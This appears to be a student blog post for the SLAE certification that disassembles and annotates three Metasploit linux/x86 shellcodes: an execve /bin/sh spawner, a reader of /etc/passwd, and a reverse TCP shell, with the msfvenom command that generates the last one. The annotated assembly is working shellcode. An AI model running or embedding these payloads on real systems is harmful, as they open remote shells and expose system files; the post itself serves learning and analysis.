SLAE x86 - Assignment 0x5

5 minute read

Shellcode Analysis

Objectives

  • Take up at least 3 shellcode samples created using msfpayload for linux/x86
  • Use GDB/ndisasm/libemu to dissect the functionality of the shellcode
  • Present analysis

MSFvenom

The msfpayload has been replaced already by msfvenom. It is the combination of msfpayload and msfencode. See more details from Rapid7’s blog

MSF Exec Shellcode

Using msfvenom, a shellcode utilizing execve syscall to execute /bin/sh can be generated. See screenshot below showing how to extract the nasm code by passing the shellcode into ndisasm tool:

Some explanation via comments inline in every instruction are shown in the nasm code below, the first two columns are removed to have proper highlighting of the code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
global _start

section .text

_start:
  push byte +0xb          ; push 0xb into stack
  pop eax                 ; execve(2) code
  cdq                     ; clear edx
  push edx                ; push NULL
  push word 0x632d        ; push '-c'
  mov edi,esp             ; edi = '-c' address in stack
  push dword 0x68732f     ; push '/sh', esp = '/sh'
  push dword 0x6e69622f   ; push '/bin', esp = '/bin/sh'
  mov ebx,esp             ; ebx = esp_address
  push edx                ; push NULL
  call 0x20               ; jump to 0x20 and push next instruction's address into stack
  jnc 0x87                ; equivalent to "sh"
                          ; using gdb, 0x20 is: push edi; push ebx
                          ; see screenshot following this code block
  add [edi+0x53],dl       ; esp = "/bin/sh -c sh"
  mov ecx,esp             ; ecx = esp_address
  int 0x80                ; syscall execve(first_binsh_addr, second_binsh_addr, NULL)

Checking with GDB, as mentioned in line 18 the address 0x20 contains the following instructions:

Furthermore, after the call function, sh string’s address is pushed into the stack:

See the changes in the stack and registers while executing the the instructions one-by-one:

MSF Read File Shellcode

Using msfvenom, a shellcode utilizing open - read - write - exit can be generated to read a file within the system specified by the PATH. See screenshot below showing how to extract the nasm code by passing the shellcode into ndisasm tool:

The same approach with previous section, see the nasmi code below containing the explanation inline with the instructions:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
global _start

section .text

_start:
  jmp short 0x38  ; jump to call 0x2
  mov eax,0x5     ; open(2)
  pop ebx         ; address of "/etc/passwd\x00"
  xor ecx,ecx     ; clear ecx
  int 0x80        ; syscall open("/etc/passwd\x00", NULL)

  mov ebx,eax     ; ebx = fd
  mov eax,0x3     ; read(2)
  mov edi,esp     ; edi = esp
  mov ecx,edi     ; ecx = esp address
  mov edx,0x1000  ; edx = 4096
  int 0x80        ; syscall read(fd, "/etc/passwd\x00", 4096)

  mov edx,eax     ; edx = read size
  mov eax,0x4     ; write(2)
  mov ebx,0x1     ; fd = stdout
  int 0x80        ; syscall write(stdout, "/etc/passwd\x00", read_size)

  mov eax,0x1     ; _exit(2)
  mov ebx,0x0     ; clear ebx
  int 0x80        ; syscall _exit
  call 0x2        ; jump to mov eax,0x5 and push "/etc/passwd\x00" address into stack

                  ; 3D-48 = "/etc/passwd\x00", see screenshot after this code block
  das             ; 0000003D  2F
  gs jz 0xa4      ; 0000003E  657463
  das             ; 00000041  2F
  jo 0xa5         ; 00000042  7061
  jnc 0xb9        ; 00000044  7373
  ja 0xac         ; 00000046  7764
  db 0x00         ; 00000048  00

A pry session below shows the conversion of the shellcode bytes in lines 30 - 36 into string

The next screenshots will be showing the status of the registers and stack right before every syscall:

Open(2)

Read(2)

Write(2)

Exit(2)

MSF Reverse TCP Shellcode

Using msfvenom, a reverse TCP shellcode can be generated with payload shell_reverse_tcp specifying the LHOST and LPORT, the listeing IP and port. See screenshot below showing how to extract the nasm code by passing the shellcode into ndisasm tool:

To better visualize the execution flow of the instructions, see the graph generated using libemu's sctest and dot tool (the tools same used in Reverse TCP Shellcode Assignment) below:

Generated using:

msfvenom --arch x86 --platform linux -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=1234 -f raw | sctest -vvv -Ss 10000 -G reverse_tcp_shellcode.dot
dot reverse_tcp_shellcode.dot -T png -o reverse_tcp_shellcode.png

As with previous two shellcodes, see the nasm code below with inline comments for explanation of the instructions:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
global _start

section .text

_start:
 xor ebx,ebx           ; clear ebx
 mul ebx               ; clear eax and edx
 push ebx              ; push NULL
 inc ebx               ; ebx = 0x1
 push ebx              ; push 0x1 ; SOCK_STREAM
 push byte +0x2        ; push 0x2 ; AF_INET
 mov ecx,esp           ; ecx = esp address
 mov al,0x66           ; socketcall(2)
 int 0x80              ; syscall(SYS_socketcall, SYS_SOCKET = 0x1,
                       ;         *args(AF_INET, SOCK_STREAM))
                       ; source: /usr/include/linux/net.h

 xchg eax,ebx          ; ebx = sockfd, eax = 0x1
 pop ecx               ; ecx = 0x2
 mov al,0x3f           ; dup2(2)
 int 0x80              ; syscall dup2(sockfd, fd)
 dec ecx               ; decrement ecx by 1 to cover file descriptors 2, 1, and 0
 jns 0x11              ; jump to al, 0x3f to start dup2 again until ecx = 0x0

 push dword 0x100007f  ; push IP_ADDR = 127.0.0.1
 push dword 0xd2040002 ; push PORT = 1234(0xd204) and AF_INET = 0x0002
 mov ecx,esp           ; ecx = esp_address(sockaddr {AF_INET; PORT; IP_ADDR})
 mov al,0x66           ; socketcall(2)
 push eax              ; push 0x66
 push ecx              ; push esp_address(sockaddr {AF_INET; PORT; IP_ADDR})
 push ebx              ; push sockfd
 mov bl,0x3            ; ebx = 0x3
 mov ecx,esp           ; ecx = esp_address(sockfd, sockaddr, 0x66)
 int 0x80              ; syscall(SYS_socketcall, SYS_CONNECT = 0x3, *args(esp_address))

 push edx              ; push NULL
 push dword 0x68732f6e ; push "n/sh"
 push dword 0x69622f2f ; push "//bi"
 mov ebx,esp           ; ebx = esp_address("//bin/sh")
 push edx              ; push NULL
 push ebx              ; push esp_address
 mov ecx,esp           ; ecx = esp_address(esp_address("//bin/sh"), NULL)
 mov al,0xb            ; execve(2)
 int 0x80              ; syscall execve(first_binsh_addr, second_binsh_addr, NULL)

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE - 1558


Link to Github repository | Link to index page